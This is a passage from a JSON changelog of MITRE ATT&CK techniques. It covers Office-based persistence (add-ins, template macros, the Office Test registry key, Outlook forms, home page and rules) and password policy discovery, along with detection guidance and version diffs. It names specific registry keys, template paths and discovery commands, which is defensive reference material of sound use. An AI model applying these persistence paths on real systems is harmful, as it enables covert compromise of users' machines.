Log: Application Log Content" ], "x_mitre_detection": "Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.\n\nMany Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page)\n\nMicrosoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User", "Administrator" ], "x_mitre_platforms": [ "Windows", "Office 365" ], "x_mitre_version": "1.3", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 20:18:31.112000+00:00\", \"old_value\": \"2020-06-25 17:48:09.417000+00:00\"}, \"root['x_mitre_contributors'][0]\": {\"new_value\": \"Nick Carr, Mandiant\", \"old_value\": \"Nick Carr, FireEye\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}", "previous_version": "1.2", "version_change": "1.2 \u2192 1.3", "changelog_mitigations": { "shared": [ "M1042: Disable or Remove Feature or Program", "M1051: Update Software", "M1054: Software Configuration" ], "new": [ "M1040: Behavior Prevention on Endpoint" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0011: Module (Module Load)", "DS0015: Application Log (Application Log Content)", "DS0017: Command (Command Execution)", "DS0022: File (File Creation)", "DS0022: File (File Modification)", "DS0024: Windows Registry (Windows Registry Key Creation)", "DS0024: Windows Registry (Windows Registry Key Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--34f1d81d-fe88-4f97-bd3b-a3164536255d", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2019-11-07 19:52:52.801000+00:00", "modified": "2021-08-16 21:26:09.296000+00:00", "name": "Add-ins", "description": "Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system. Office add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins) There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), Visual Studio Tools for Office (VSTO) add-ins, and Outlook add-ins. (Citation: MRWLabs Office Persistence Add-ins)(Citation: FireEye Mail CDS 2018)\n\nAdd-ins can be used to obtain persistence because they can be set to execute code when an Office application starts. ", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "persistence" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1137/006", "external_id": "T1137.006" }, { "source_name": "Microsoft Office Add-ins", "description": "Microsoft. (n.d.). Add or remove add-ins. Retrieved July 3, 2017.", "url": "https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460" }, { "source_name": "MRWLabs Office Persistence Add-ins", "description": "Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved July 3, 2017.", "url": "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/" }, { "source_name": "FireEye Mail CDS 2018", "description": "Caban, D. and Hirani, M. (2018, October 3). You\u2019ve Got Mail! Enterprise Email Compromise. Retrieved April 22, 2019.", "url": "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf" }, { "source_name": "GlobalDotName Jun 2019", "description": "Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.", "url": "https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Process: Process Creation", "Command: Command Execution", "Windows Registry: Windows Registry Key Creation", "Windows Registry: Windows Registry Key Modification", "File: File Creation", "File: File Modification" ], "x_mitre_detection": "Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.(Citation: GlobalDotName Jun 2019)(Citation: MRWLabs Office Persistence Add-ins)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "Administrator", "User" ], "x_mitre_platforms": [ "Windows", "Office 365" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-16 21:26:09.296000+00:00\", \"old_value\": \"2020-03-26 17:34:02.877000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [], "new": [ "M1040: Behavior Prevention on Endpoint" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)", "DS0022: File (File Creation)", "DS0022: File (File Modification)", "DS0024: Windows Registry (Windows Registry Key Creation)", "DS0024: Windows Registry (Windows Registry Key Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2019-11-07 20:29:17.788000+00:00", "modified": "2021-08-16 21:27:10.873000+00:00", "name": "Office Template Macros", "description": "Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) \n\nWord Normal.dotm location:
\nC:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\n\nExcel Personal.xlsb location:
\nC:\\Users\\<username>\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB\n\nAdversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) \n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "persistence" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1137/001", "external_id": "T1137.001" }, { "source_name": "Microsoft Change Normal Template", "description": "Microsoft. (n.d.). Change the Normal template (Normal.dotm). Retrieved July 3, 2017.", "url": "https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea" }, { "source_name": "MSDN VBA in Office", "description": "Austin, J. (2017, June 6). Getting Started with VBA in Office. Retrieved July 3, 2017.", "url": "https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office" }, { "source_name": "enigma0x3 normal.dotm", "description": "Nelson, M. (2014, January 23). Maintaining Access with normal.dotm. Retrieved July 3, 2017.", "url": "https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/" }, { "source_name": "Hexacorn Office Template Macros", "description": "Hexacorn. (2017, April 17). Beyond good ol\u2019 Run key, Part 62. Retrieved July 3, 2017.", "url": "http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/" }, { "source_name": "GlobalDotName Jun 2019", "description": "Shukrun, S. (2019, June 2). Office Templates and GlobalDotName - A Stealthy Office Persistence Technique. Retrieved August 26, 2019.", "url": "https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique" }, { "source_name": "CrowdStrike Outlook Forms", "description": "Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.", "url": "https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746" }, { "source_name": "Outlook Today Home Page", "description": "Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.", "url": "https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Process: Process Creation", "Command: Command Execution", "Windows Registry: Windows Registry Key Creation", "Windows Registry: Windows Registry Key Modification", "File: File Creation", "File: File Modification" ], "x_mitre_detection": "Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Modification to base templates, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.(Citation: GlobalDotName Jun 2019)", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User", "Administrator" ], "x_mitre_platforms": [ "Windows", "Office 365" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-16 21:27:10.873000+00:00\", \"old_value\": \"2020-06-25 17:48:08.916000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1042: Disable or Remove Feature or Program" ], "new": [ "M1040: Behavior Prevention on Endpoint" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)", "DS0022: File (File Creation)", "DS0022: File (File Modification)", "DS0024: Windows Registry (Windows Registry Key Creation)", "DS0024: Windows Registry (Windows Registry Key Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2019-11-07 19:44:04.475000+00:00", "modified": "2021-08-16 21:35:17.618000+00:00", "name": "Office Test", "description": "Adversaries may abuse the Microsoft Office \"Office Test\" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)\n\nThere exist user and global Registry keys for the Office Test feature:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Office test\\Special\\Perf\n\nAdversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "persistence" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1137/002", "external_id": "T1137.002" }, { "source_name": "Hexacorn Office Test", "description": "Hexacorn. (2014, April 16). Beyond good ol\u2019 Run key, Part 10. Retrieved July 3, 2017.", "url": "http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/" }, { "source_name": "Palo Alto Office Test Sofacy", "description": "Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Process: Process Creation", "Command: Command Execution", "Windows Registry: Windows Registry Key Creation", "Windows Registry: Windows Registry Key Modification", "File: File Creation", "File: File Modification", "Module: Module Load" ], "x_mitre_detection": "Monitor for the creation of the Office Test Registry key. Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Since v13.52, Autoruns can detect tasks set up using the Office Test Registry key.(Citation: Palo Alto Office Test Sofacy)\n\nConsider monitoring Office processes for anomalous DLL loads.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "Administrator", "User" ], "x_mitre_platforms": [ "Windows", "Office 365" ], "x_mitre_system_requirements": [ "Office 2007, 2010, 2013, and 2016" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-16 21:35:17.618000+00:00\", \"old_value\": \"2020-03-20 15:27:51.559000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1054: Software Configuration" ], "new": [ "M1040: Behavior Prevention on Endpoint" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0011: Module (Module Load)", "DS0017: Command (Command Execution)", "DS0022: File (File Creation)", "DS0022: File (File Modification)", "DS0024: Windows Registry (Windows Registry Key Creation)", "DS0024: Windows Registry (Windows Registry Key Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2019-11-07 20:06:02.624000+00:00", "modified": "2021-08-16 21:29:19.697000+00:00", "name": "Outlook Forms", "description": "Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)\n\nOnce malicious forms have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "persistence" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1137/003", "external_id": "T1137.003" }, { "source_name": "SensePost Outlook Forms", "description": "Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019.", "url": "https://sensepost.com/blog/2017/outlook-forms-and-shells/" }, { "source_name": "Microsoft Detect Outlook Forms", "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.", "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack" }, { "source_name": "SensePost NotRuler", "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.", "url": "https://github.com/sensepost/notruler" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Process: Process Creation", "Command: Command Execution", "Application Log: Application Log Content" ], "x_mitre_detection": "Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "Administrator", "User" ], "x_mitre_platforms": [ "Windows", "Office 365" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-16 21:29:19.697000+00:00\", \"old_value\": \"2020-03-26 17:35:15.823000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1051: Update Software" ], "new": [ "M1040: Behavior Prevention on Endpoint" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0015: Application Log (Application Log Content)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--bf147104-abf9-4221-95d1-e81585859441", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2019-11-07 20:09:56.536000+00:00", "modified": "2021-08-16 21:30:01.743000+00:00", "name": "Outlook Home Page", "description": "Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)\n\nOnce malicious home pages have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page)\n", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "persistence" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1137/004", "external_id": "T1137.004" }, { "source_name": "SensePost Outlook Home Page", "description": "Stalmans, E. (2017, October 11). Outlook Home Page \u2013 Another Ruler Vector. Retrieved February 4, 2019.", "url": "https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/" }, { "source_name": "Microsoft Detect Outlook Forms", "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.", "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack" }, { "source_name": "SensePost NotRuler", "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.", "url": "https://github.com/sensepost/notruler" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Process: Process Creation", "Command: Command Execution", "Application Log: Application Log Content" ], "x_mitre_detection": "Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "Administrator", "User" ], "x_mitre_platforms": [ "Windows", "Office 365" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-16 21:30:01.743000+00:00\", \"old_value\": \"2020-03-26 17:35:51.656000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1051: Update Software" ], "new": [ "M1040: Behavior Prevention on Endpoint" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0015: Application Log (Application Log Content)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2019-11-07 20:00:25.560000+00:00", "modified": "2021-10-15 20:18:30.700000+00:00", "name": "Outlook Rules", "description": "Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules)\n\nOnce malicious rules have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.(Citation: SilentBreak Outlook Rules)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "persistence" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1137/005", "external_id": "T1137.005" }, { "source_name": "SilentBreak Outlook Rules", "description": "Landers, N. (2015, December 4). Malicious Outlook Rules. Retrieved February 4, 2019.", "url": "https://silentbreaksecurity.com/malicious-outlook-rules/" }, { "source_name": "Microsoft Detect Outlook Forms", "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.", "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack" }, { "source_name": "Pfammatter - Hidden Inbox Rules", "description": "Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.", "url": "https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/" }, { "source_name": "SensePost NotRuler", "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.", "url": "https://github.com/sensepost/notruler" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Microsoft Security" ], "x_mitre_data_sources": [ "Process: Process Creation", "Command: Command Execution", "Application Log: Application Log Content" ], "x_mitre_detection": "Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) This PowerShell script is ineffective in gathering rules with modified `PRPR_RULE_MSG_NAME` and `PR_RULE_MSG_PROVIDER` properties caused by adversaries using a Microsoft Exchange Server Messaging API Editor (MAPI Editor), so only examination with the Exchange Administration tool MFCMapi can reveal these mail forwarding rules.(Citation: Pfammatter - Hidden Inbox Rules) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "Administrator", "User" ], "x_mitre_platforms": [ "Windows", "Office 365" ], "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Microsoft Security\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 20:18:30.700000+00:00\", \"old_value\": \"2020-03-26 17:36:15.923000+00:00\"}, \"root['external_references'][3]['source_name']\": {\"new_value\": \"Pfammatter - Hidden Inbox Rules\", \"old_value\": \"SensePost NotRuler\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"Damian Pfammatter. (2018, September 17). Hidden Inbox Rules in Microsoft Exchange. Retrieved October 12, 2021.\", \"old_value\": \"SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/\", \"old_value\": \"https://github.com/sensepost/notruler\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) This PowerShell script is ineffective in gathering rules with modified `PRPR_RULE_MSG_NAME` and `PR_RULE_MSG_PROVIDER` properties caused by adversaries using a Microsoft Exchange Server Messaging API Editor (MAPI Editor), so only examination with the Exchange Administration tool MFCMapi can reveal these mail forwarding rules.(Citation: Pfammatter - Hidden Inbox Rules) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\\n\\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.\", \"old_value\": \"Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\\n\\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. 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Non-standard process execution trees may also indicate suspicious or malicious behavior.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][4]\": {\"source_name\": \"SensePost NotRuler\", \"description\": \"SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.\", \"url\": \"https://github.com/sensepost/notruler\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [ "M1051: Update Software" ], "new": [ "M1040: Behavior Prevention on Endpoint" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0015: Application Log (Application Log Content)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2018-04-18 17:59:24.739000+00:00", "modified": "2021-07-26 14:11:39.499000+00:00", "name": "Password Policy Discovery", "description": "Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies).\n\nPassword policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS (Citation: AWS GetPasswordPolicy).", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "discovery" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1201", "external_id": "T1201" }, { "source_name": "Superuser Linux Password Policies", "description": "Matutiae, M. (2014, August 6). How to display password policy information for a user (Ubuntu)?. Retrieved April 5, 2018.", "url": "https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu" }, { "source_name": "Jamf User Password Policies", "description": "Holland, J. (2016, January 25). User password policies on non AD machines. Retrieved April 5, 2018.", "url": "https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines" }, { "source_name": "AWS GetPasswordPolicy", "description": "Amazon Web Services. (n.d.). AWS API GetAccountPasswordPolicy. Retrieved June 8, 2021.", "url": "https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetAccountPasswordPolicy.html" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Regina Elwell", "Isif Ibrahima", "Sudhanshu Chauhan, @Sudhanshu_C" ], "x_mitre_data_sources": [ "User Account: User Account Metadata", "Process: Process Creation", "Command: Command Execution" ], "x_mitre_detection": "Monitor logs and processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity.", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows", "Linux", "macOS", "IaaS" ], "x_mitre_version": "1.3", "detailed_diff": 